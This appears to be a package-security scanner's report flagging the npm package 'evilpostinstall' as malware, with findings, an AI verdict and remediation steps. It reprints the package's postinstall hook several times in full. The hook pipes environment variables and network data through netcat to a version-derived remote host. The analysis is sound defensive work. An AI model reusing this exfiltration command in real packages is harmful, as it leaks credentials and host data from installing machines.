evilpostinstall@49.13.4074225
Assess the system running postinstall
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe manifest contains a concrete automatic postinstall exfiltration command. Its environment collection and remote transmission are malicious regardless of the absent main entrypoint.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation triggers the postinstall lifecycle hook.
Impact
Sensitive environment variables and host network information can be sent to an attacker-controlled host.
Mechanism
Environment and network-data exfiltration through netcat.
Attack narrative
On installation, the package runs a shell pipeline that gathers the full environment and IP-interface information. It derives a remote host from its own version and pipes the collected data to netcat on port 888, allowing unconsented exfiltration from the installing machine.
AI rationale
The manifest contains a concrete automatic postinstall exfiltration command. Its environment collection and remote transmission are malicious regardless of the absent main entrypoint.
Evidence
package.json
Network endpoints1
49.13.074.225:888
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook collects all environment variables and network-interface data, then sends them through netcat to a version-derived remote host on port 888.
- This runs automatically during npm installation without an explicit user command.
Evidence against
- No source files beyond the manifest are present in the extracted package root.
- No self-dependency, AI-agent configuration mutation, or additional runtime loader is declared.
Behavioral surface
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg8"postinstall": "(env; ip addr) | nc \"$(echo \"$npm[redacted]\" | cut -d. -f1-2).$(echo \"$npm[redacted]\" | cut -d. -f3- | cut -b 2-4).$(echo \"$npm[redacted]\" | cut -d. -f3- | cut -b 5-7)\" 888"
High
Suspicious Lifecycle Evidence
The postinstall hook collects all environment variables and network-interface data, then sends them through netcat to a version-derived remote host on port 888.
package.jsonView on unpkg · L8Findings
1 Critical2 High1 Medium2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
MediumShips Compressed Blobevilpostinstall-192.168.1.100.tgz
LowScripts Present
LowNested Archive Needs Inspectionevilpostinstall-192.168.1.100.tgz
Affected versions and remediation
This report applies to evilpostinstall@49.13.4074225.
See all versions of evilpostinstall for other recorded verdicts.
- Avoid installing evilpostinstall@49.13.4074225. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.